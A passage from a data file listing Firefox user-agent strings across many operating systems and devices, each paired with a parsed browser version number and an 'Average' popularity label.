Gecko/20120403211507 Firefox/12.0,12,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/17.0 Firefox/17.0,17,Average\nMozilla/5.0 (Windows NT 6.2; rv:35.0) Gecko/20100101 Firefox/35.0,35,Average\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:16.0) Gecko/20100101 Firefox/16.0,16,Average\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0,53,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:39.0) Gecko/20100101 Firefox/39.0,39,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0,29,Average\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:16.0) Gecko/20100101 Firefox/16.0,16,Average\nMozilla/5.0 (Windows NT 6.1; rv:26.0) Gecko/20100101 Firefox/26.0,26,Average\nMozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/53.0,53,Average\nMozilla/5.0 (X11; Fedora; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0,47,Average\nMozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0,5,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:59.0) Gecko/20100101 Firefox/59.0,59,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:47.0) Gecko/20100101 Firefox/47.0,47,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:12.0) Gecko/20100101 Firefox/12.0,12,Average\nMozilla/5.0 (Windows NT 6.0; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0,19,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0,23,Average\nMozilla/5.0 (Windows NT 6.1; rv:28.0) Gecko/20100101 Firefox/28.0,28,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:12.0) Gecko/20100101 Firefox/12.0,12,Average\nMozilla/5.0 (Windows NT 5.1; rv:15.0) Gecko/20100101 Firefox/15.0.1,15,Average\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13,2.0,Average\nMozilla/5.0 (Android 4.4.2; Mobile; rv:49.0) Gecko/49.0 Firefox/49.0,49,Average\nMozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Firefox/24.0,24,Average\nMozilla/5.0 (Windows NT 6.3; rv:49.0) Gecko/20100101 Firefox/49.0,49,Average\nMozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0,13,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:58.0) Gecko/20100101 Firefox/58.0,58,Average\nMozilla/5.0 (X11; Linux i686; rv:57.0) Gecko/20100101 Firefox/57.0,57,Average\nMozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20100101 Firefox/6.0,6,Average\nMozilla/5.0 (Windows NT 6.2; rv:37.0) Gecko/20100101 Firefox/37.0,37,Average\nMozilla/5.0 (Windows NT 6.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0,49,Average\nMozilla/5.0 (Android; Mobile; rv:22.0) Gecko/22.0 Firefox/22.0,22,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:46.0) Gecko/20100101 Firefox/46.0,46,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:57.0) Gecko/20100101 Firefox/57.0,57,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:53.0) Gecko/20100101 Firefox/53.0,53,Average\nMozilla/5.0 (Windows NT 6.3; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0,50,Average\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0,12,Average\nMozilla/5.0 (Android 4.4.2; Mobile; rv:47.0) Gecko/47.0 Firefox/47.0,47,Average\nMozilla/5.0 (Windows NT 10.0; rv:59.0) Gecko/20100101 Firefox/59.0,59,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:14.0) Gecko/20100101 Firefox/14.0.1,14,Average\nMozilla/5.0 (X11; FreeBSD amd64; rv:40.0) Gecko/20100101 Firefox/40.0,40,Average\nMozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1,13,Average\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6,3.6,Average\nMozilla/5.0 (Windows NT 5.1; rv:30.0) Gecko/20100101 Firefox/30.0,30,Average\nMozilla/5.0 (Windows NT 6.3; rv:50.0) Gecko/20100101 Firefox/50.0,50,Average\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:42.0) Gecko/20100101 Firefox/42.0,42,Average\nMozilla/5.0 (Android 6.0.1; Mobile; rv:47.0) Gecko/47.0 Firefox/47.0,47,Average\nMozilla/5.0 (X11; Fedora; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0,57,Average\nMozilla/5.0 (Windows NT 6.3; rv:53.0) Gecko/20100101 Firefox/53.0,53,Average\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0,24,Average\nMozilla/5.0 (Mobile; LYF/LF-2403N/LYF-LF2403N-000-01-3B-010218;Android; rv:48.0) Gecko/48.0 Firefox/48.0 KAIOS/2.0,48,Average\nMozilla/5.0 (Windows NT 6.3; Win64; x64; rv:28.0) Gecko/20100101 Firefox/28.0 Cyberfox/28.0.1,28,Average\nMozilla/5.0 (Windows NT 6.3; rv:47.0) Gecko/20100101 Firefox/47.0,47,Average\nMozilla/5.0 (Android 6.0; Mobile; rv:57.0) Gecko/57.0 Firefox/57.0,57,Average\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0,18,Average\nMozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.04 (hardy) Firefox/3.0.9,3,Average\nMozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20110814 Firefox/10.0.1,10,Average\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b4) Gecko/2008030317 Firefox/3.0b4,3,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:51.0) Gecko/20100101 Firefox/51.0,51,Average\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:20.0) Gecko/20100101 Firefox/20.0,20,Average\nMozilla/5.0 (Windows NT 6.3; rv:43.0) Gecko/20100101 Firefox/43.0,43,Average\nMozilla/5.0 (Android 5.1.1; Mobile; rv:56.0) Gecko/56.0 Firefox/56.0,56,Average\nMozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/17.0 Firefox/17.0,17,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0,25,Average\nMozilla/5.0 (Android 5.1.1; Mobile; rv:43.0) Gecko/43.0 Firefox/43.0,43,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:17.0) Gecko/20100101 Firefox/17.0,17,Average\nMozilla/5.0 (X11; Linux i686; rv:49.0) Gecko/20100101 Firefox/49.0,49,Average\nMozilla/6.0 (Macintosh; I; Intel Mac OS X 11_7_9; de-LI; rv:1.9b4) Gecko/2012010317 Firefox/10.0.1,10,Average\nMozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20100101 Firefox/21.0,21,Average\nMozilla/5.0 (Mobile; ZTEOPEN; rv:18.1) Gecko/18.1 Firefox/18.1,18.1,Average\nMozilla/5.0 (Windows NT 6.3; rv:40.0) Gecko/20100101 Firefox/40.0,40,Average\nMozilla/5.0 (Windows NT 10.0; rv:40.0) Gecko/20100101 Firefox/40.0,40,Average\nMozilla/5.0 (Windows NT 6.0; rv:14.0) Gecko/20100101 Firefox/14.0.1,14,Average\nMozilla/5.0 (Windows NT 6.0; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0,20,Average\nMozilla/5.0 (X11; Fedora; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0,49,Average\nMozilla/5.0 (Android 5.1.1; Mobile; rv:46.0) Gecko/46.0 Firefox/46.0,46,Average\nMozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/51.0,51,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:48.0) Gecko/20100101 Firefox/48.0,48,Average\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009031915 Gentoo Firefox/3.0.7,3,Average\nMozilla/5.0 (Windows NT 6.3; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0,49,Average\nMozilla/5.0 (Android 7.1.1; Mobile; rv:57.0) Gecko/57.0 Firefox/57.0,57,Average\nMozilla/5.0 (Windows NT 6.2; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0,56,Average\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:51.0) Gecko/20100101 Firefox/51.0,51,Average\nMozilla/5.0 (Windows NT 10.0; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0,37,Average\nMozilla/5.0 (Mobile; ALCATEL ONE TOUCH 4012A; rv:18.1) Gecko/18.1 Firefox/18.1,18.1,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:54.0) Gecko/20100101 Firefox/54.0,54,Average\nMozilla/5.0 (Android 5.0.2; Tablet; rv:43.0) Gecko/43.0 Firefox/43.0,43,Average\nMozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0,29,Average\nMozilla/5.0 (Windows NT 6.3; Win64; x64; rv:51.0) Gecko/20100101 Firefox/51.0,51,Average\nMozilla/5.0 (Windows NT 6.1; rv:23.0) Gecko/20100101 Firefox/23.0,23,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20100101 Firefox/17.0,17,Average\nMozilla/5.0 (X11; Fedora; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0,50,Average\nMozilla/5.0 (Android 7.0; Mobile; rv:59.0) Gecko/59.0 Firefox/59.0,59,Average\nMozilla/5.0 (Windows NT 10.0; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0,35,Average\nMozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Firefox/38.0 (IndeedBot 1.1),38,Average\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:57.0) Gecko/20100101 Firefox/57.0,57,Average\nMozilla/5.0 (Android; Mobile; rv:14.0) Gecko/14.0 Firefox/14.0,14,Average\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0,23,Average\nMozilla/5.0 (X11; Fedora; Linux x86_64; rv:54.0) Gecko/20100101 Firefox/54.0,54,Average\nMozilla/5.0 (Windows NT 6.2; Win64; x64; rv:48.0) Gecko/20100101 Firefox/48.0,48,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:38.0) Gecko/20100101 Firefox/38.0,38,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:46.0) Gecko/20100101 Firefox/46.0,46,Average\nMozilla/5.0 (Android 6.0.1; Mobile; rv:53.0) Gecko/53.0 Firefox/53.0,53,Average\nMozilla/5.0 (Android 4.4.2; Mobile; rv:55.0) Gecko/55.0 Firefox/55.0,55,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:16.0) Gecko/20100101 Firefox/16.0,16,Average\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0,55,Average\nMozilla/5.0 (Windows NT 6.2; rv:20.0) Gecko/20121202 Firefox/20.0,20,Average\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0,18,Average\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:14.0) Gecko/20100101 Firefox/14.0.1,14,Average\nMozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0,28,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:15.0) Gecko/20100101 Firefox/15.0.1,15,Average\nMozilla/5.0 (Mobile; $LYF/$F30C/$LYF_F30C-000-09-09-010218; Android; rv:48.0) Gecko/48.0 Firefox/48.0 KAIOS/2.0,48,Average\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6,3.6,Average\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0,22,Average\nMozilla/5.0 (Mobile; LG-D300; rv:18.1) Gecko/18.1 Firefox/18.1,18.1,Average\nMozilla/5.0 (Windows NT 6.0; rv:16.0) Gecko/20100101 Firefox/16.0,16,Average\nMozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0,6,Average\nMozilla/5.0 (X11; Fedora; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0,48,Average\nMozilla/5.0 (X11; Linux i686 on x86_64; rv:24.0; Neustar WPM) Gecko/20100101 Firefox/24.0,24,Average\nMozilla/5.0 (Maemo; Linux; U; Jolla; Sailfish; Mobile; rv:31.0) Gecko/31.0 Firefox/31.0 SailfishBrowser/1.0,31,Average\nMozilla/5.0 (X11; Linux x86_64; rv:29.0) Gecko/20100101 Firefox/29.0,29,Average\nMozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/25.0,25,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:59.0) Gecko/20100101 Firefox/59.0,59,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:43.0) Gecko/20100101 Firefox/43.0,43,Average\nMozilla/5.0 (X11; Linux i686; rv:43.0) Gecko/20100101 Firefox/43.0,43,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:44.0) Gecko/20100101 Firefox/44.0,44,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:36.0) Gecko/20100101 Firefox/36.0,36,Average\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0,11,Average\nMozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20100101 Firefox/15.0.1,15,Average\nMozilla/5.0 (Android 5.0.2; Tablet; rv:44.0) Gecko/44.0 Firefox/44.0,44,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:46.0) Gecko/20100101 Firefox/46.0,46,Average\nMozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20130401 Firefox/21.0,21,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:28.0) Gecko/20100101 Firefox/28.0 (FlipboardProxy/1.1; +http://flipboard.com/browserproxy),28,Average\nMozilla/5.0 (Android 6.0.1; Mobile; rv:55.0) Gecko/55.0 Firefox/55.0,55,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:11.0) Gecko/20100101 Firefox/11.0,11,Average\nMozilla/5.0 (Android 6.0.1; Tablet; rv:47.0) Gecko/47.0 Firefox/47.0,47,Average\nMozilla/5.0 (Android 7.0; Mobile; rv:55.0) Gecko/55.0 Firefox/55.0,55,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0 AlexaToolbar/alxf-2.21,35,Average\nMozilla/5.0 (Android 6.0.1; Mobile; rv:45.0) Gecko/45.0 Firefox/45.0,45,Average\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:36.0) Gecko/20100101 Firefox/36.0,36,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1,13,Average\nMozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0,31,Average\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:58.0) Gecko/20100101 Firefox/58.0,58,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:56.0) Gecko/20100101 Firefox/56.0,56,Average\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:33.0) Gecko/20100101 Firefox/33.0,33,Average\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:17.0) Gecko/20100101 Firefox/17.0,17,Average\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/29.0,29,Average\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:12.0) Gecko/20100101 Firefox/12.0,12,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:55.0) Gecko/20100101 Firefox/55.0,55,Average\nMozilla/5.0 (Android 7.1.2; Mobile; rv:57.0) Gecko/57.0 Firefox/57.0,57,Average\nMozilla/5.0 (X11; Linux x86_64; rv:7.0.1) Gecko/20100101 Firefox/7.0.1,7,Average\nMozilla/5.0 (Windows NT 6.0; rv:17.0) Gecko/20100101 Firefox/17.0,17,Average\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 Firefox/3.0,3,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:14.0) Gecko/20100101 Firefox/14.0.1,14,Average\nMozilla/5.0 (X11; Fedora; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0,55,Average\nMozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0,13,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:41.0) Gecko/20100101 Firefox/41.0,41,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:52.0) Gecko/20100101 Firefox/52.0,52,Average\nMozilla/5.0 (Windows NT 6.3; rv:44.0) Gecko/20100101 Firefox/44.0,44,Average\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:19.0) Gecko/20100101 Firefox/19.0,19,Average\nMozilla/5.0 (Windows NT 5.1; rv:8.0.1) Gecko/20100101 Firefox/8.0.1,8,Average\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0,17,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1,4,Average\nMozilla/5.0 (Android 6.0.1; Mobile; rv:54.0) Gecko/54.0 Firefox/54.0,54,Average\nMozilla/5.0 (Windows NT 6.3; rv:54.0) Gecko/20100101 Firefox/54.0,54,Average\nMozilla/6.0 (Windows NT 7.2; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0,47,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:16.0) Gecko/20100101 Firefox/16.0,16,Average\nMozilla/5.0 (Mobile; rv:26.0) Gecko/26.0 Firefox/26.0,26,Average\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:53.0) Gecko/20100101 Firefox/53.0,53,Average\nMozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0,31,Average\nMozilla/5.0 (Android 5.0.2; Mobile; rv:45.0) Gecko/45.0 Firefox/45.0,45,Average\nMozilla/5.0 (Android 6.0.1; Mobile; rv:56.0) Gecko/56.0 Firefox/56.0,56,Average\nMozilla/5.0 (OS/2; U; Warp 4.5; en-US; rv:1.7.12) Gecko/20050922 Firefox/1.0.7,1.0,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1,13,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:42.0) Gecko/20100101 Firefox/42.0,42,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0,30,Average\nMozilla/5.0 (Windows NT 6.2; rv:41.0) Gecko/20100101 Firefox/41.0,41,Average\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13,3.6,Average\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:18.0) Gecko/20130119 Firefox/18.0,18,Average\nMozilla/5.0 (Android 6.0.1; Mobile; rv:58.0) Gecko/58.0 Firefox/58.0,58,Average\nMozilla/5.0 (X11; Linux i686; rv:7.0.1) Gecko/20100101 Firefox/7.0.1,7,Average\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0,31,Average\nMozilla/5.0 (Android 4.4.2; Mobile; rv:57.0) Gecko/57.0 Firefox/57.0,57,Average\nMozilla/5.0 (Windows NT 5.1; rv:28.0) Gecko/20100101 Firefox/28.0,28,Average\nMozilla/5.0 (Windows NT 6.2; rv:49.0) Gecko/20100101 Firefox/49.0,49,Average\nMozilla/5.0 (Mobile; LYF/F61F/LYF-F61F-000-01-20-310118; Android; rv:48.0) Gecko/48.0 Firefox/48.0 KAIOS/2.0,48,Average\nMozilla/5.0 (Android; Mobile; rv:52.0) Gecko/20100101 Firefox/52.0,52,Average\nMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:41.0) Gecko/20100101 Firefox/41.0,41,Average\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.8) Gecko/20100721 Firefox/3.6.8,3.6,Average\nMozilla/5.0 (X11; Fedora; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0,52,Average\nMozilla/5.0 (Windows NT 6.3; Win64; x64; rv:48.0) Gecko/20100101 Firefox/48.0,48,Average\nMozilla/5.0 (Windows NT 5.1; rv:2.0) Gecko/20100101 Firefox/4.0,4,Average\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1,14,Average\nMozilla/5.0 (X11; Linux i686; rv:50.0) Gecko/20100101 Firefox/50.0,50,Average\nMozilla/5.0 (X11; NetBSD amd64; rv:49.0) Gecko/20100101 Firefox/49.0,49,Average\nMozilla/5.0 (X11; NetBSD amd64; rv:48.0) Gecko/20100101 Firefox/48.0,48,Average\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:35.0) Gecko/20100101 Firefox/35.0,35,Average\nMozilla/5.0 (X11; Linux i686; rv:40.0) Gecko/20100101 Firefox/40.0,40,Average\nMozilla/5.0 (Windows NT 6.3; rv:42.0) Gecko/20100101 Firefox/42.0,42,Average\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:39.0) Gecko/20100101 Firefox/39.0,39,Average\nMozilla/5.0 (compatible; MSIE or Firefox mutant;) Daum 4.1,,Average\nMozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20041001 Firefox/0.10.1,0.10,Average\nMozilla/5.0 (Android 6.0.1; Mobile; rv:52.0) Gecko/52.0 Firefox/52.0,52,Average\nMozilla/5.0 (Mobile; LYF/F101K/LYF_F101K-000-01-30-211217;Android; rv:48.0) Gecko/48.0 Firefox/48.0 KAIOS/2.0,48,Average\nMozilla/5.0 (Mobile; LYF/F101K/LYF-F101K-000-01-33-120318;Android; rv:48.0) Gecko/48.0 Firefox/48.0 KAIOS/2.0,48,Average\nMozilla/5.0 (Mobile; ALCATELOneTouch4012X; rv:18.1) Gecko/18.1 Firefox/18.1,18.1,Average\nMozilla/5.0 (Windows NT 6.1; rv:27.0) Gecko/20100101 Firefox/27.0,27,Average\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:37.0) Gecko/20100101 Firefox/37.0,37,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:17.0) Gecko/20100101 Firefox/17.0,17,Average\nMozilla/5.0 (Android; Mobile; rv:35.0) Gecko/35.0 Firefox/35.0,35,Average\nMozilla/5.0 (Android 4.4; Mobile; rv:18.0) Gecko/18.0 Firefox/18.0,18,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:37.0) Gecko/20100101 Firefox/37.0,37,Average\nMozilla/5.0 (Windows NT 10.0; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0,36,Average\nMozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0,19,Average\nMozilla/5.0 (Android 5.0; Mobile; rv:38.0) Gecko/20100101 Firefox/38.0,38,Average\nMozilla/5.0 (Android 4.4; Mobile; rv:41.0) Gecko/41.0 Firefox/41.0,41,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:45.0) Gecko/20100101 Firefox/45.0,45,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:10.0.2) Gecko/20100101 Firefox/10.0.2,10,Average\nMozilla/5.0 (Windows NT 5.0; rv:12.0) Gecko/20100101 Firefox/12.0,12,Average\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0,38,Average\nMozilla/5.0 (X11; Linux x86_64; rv:38.0; Neustar WPM) Gecko/20100101 Firefox/38.0,38,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:16.0) Gecko/20100101 Firefox/16.0,16,Average\nMozilla/5.0 (X11; Linux; rv:2.0.1) Gecko/20100101 Firefox/4.2.33re,4.2,Average\nMozilla/5.0 (Android; Mobile; rv:19.0) Gecko/19.0 Firefox/19.0,19,Average\nMozilla/5.0 (Android 5.1.1; Mobile; rv:42.0) Gecko/42.0 Firefox/42.0,42,Average\nMozilla/5.0 (Windows NT 5.1; rv:22.0) Gecko/20100101 Firefox/22.0,22,Average\nMozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729),3.5,Average\nMozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1,7,Average\nMozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20100101 Firefox/15.0,15,Average\nMozilla/5.0 (Android 5.1; Mobile; rv:45.0) Gecko/45.0 Firefox/45.0,45,Average\nMozilla/5.0 (Windows NT 6.2; rv:47.0) Gecko/20100101 Firefox/47.0,47,Average\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28,3.6,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1,4,Average\nMozilla/5.0 (Windows NT 6.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0,51,Average\nMozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1,4,Average\nMozilla/5.0 (Windows NT 5.1; rv:25.0) Gecko/20100101 Firefox/25.0,25,Average\nMozilla/5.0 (Android 5.1.1; Mobile; rv:57.0) Gecko/57.0 Firefox/57.0,57,Average\nMozilla/5.0 (Mobile; LYF/LF-2403N/LYF-LF2403N-000-01-38-151217;Android; rv:48.0) Gecko/48.0 Firefox/48.0 KAIOS/2.0,48,Average\nMozilla/5.0 (windows; U; Windows NT 5.1; zh-CN; rv:1.7.12) Gecko/20050919 Firefox/1.0.7,1.0,Average\nMozilla/6.0 (Windows NT 6.2; WOW64; rv:16.0.1) Gecko/20121011 Firefox/16.0.1,16,Average\nMozilla/5.0 (Android 7.0; Mobile; rv:54.0) Gecko/54.0 Firefox/54.0,54,Average\nMozilla/5.0 (Android 5.1.1; Mobile; rv:49.0) Gecko/49.0 Firefox/49.0,49,Average\nMozilla/5.0 (Windows NT 6.3; Win64; x64; rv:42.0) Gecko/20100101 Firefox/42.0,42,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:44.0) Gecko/20100101 Firefox/44.0,44,Average\nMozilla/5.0 (Android; Mobile; rv:20.0) Gecko/20.0 Firefox/20.0,20,Average\nMozilla/5.0 (X11; Linux i686; rv:47.0) Gecko/20100101 Firefox/47.0,47,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:11.0) Gecko/20100101 Firefox/11.0,11,Average\nMozilla/5.0 (Mobile; rv:48.0) Gecko/48.0 Firefox/48.0 KAIOS/2.0,48,Average\nMozilla/5.0 (Android 6.0.1; Mobile; rv:59.0) Gecko/59.0 Firefox/59.0,59,Average\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0,31,Average\nMozilla/5.0 (X11; Linux i686; rv:42.0) Gecko/20100101 Firefox/42.0,42,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:38.0) Gecko/20100101 Firefox/38.0,38,Average\nMozilla/5.0 (X11; Linux i686; rv:48.0) Gecko/20100101 Firefox/48.0,48,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:35.0) Gecko/20100101 Firefox/35.0,35,Average\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (NetShelter ContentScan),3.6,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko/20100101 Firefox/12.0,12,Average\nMozilla/5.0 (X11; Linux i686; rv:44.0) Gecko/20100101 Firefox/44.0,44,Average\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0,16,Average\n\"Mozilla/5.0 (X11; Linux x86_64) adbeat.com/policy AppleWebKit/537.21 (KHTML, like Gecko) Firefox/34.0 Safari/537.21\",34,Average\nMozilla/5.0 (Windows NT 6.2; rv:48.0) Gecko/20100101 Firefox/48.0,48,Average\nMozilla/5.0 (Android 6.0.1; Tablet; rv:48.0) Gecko/48.0 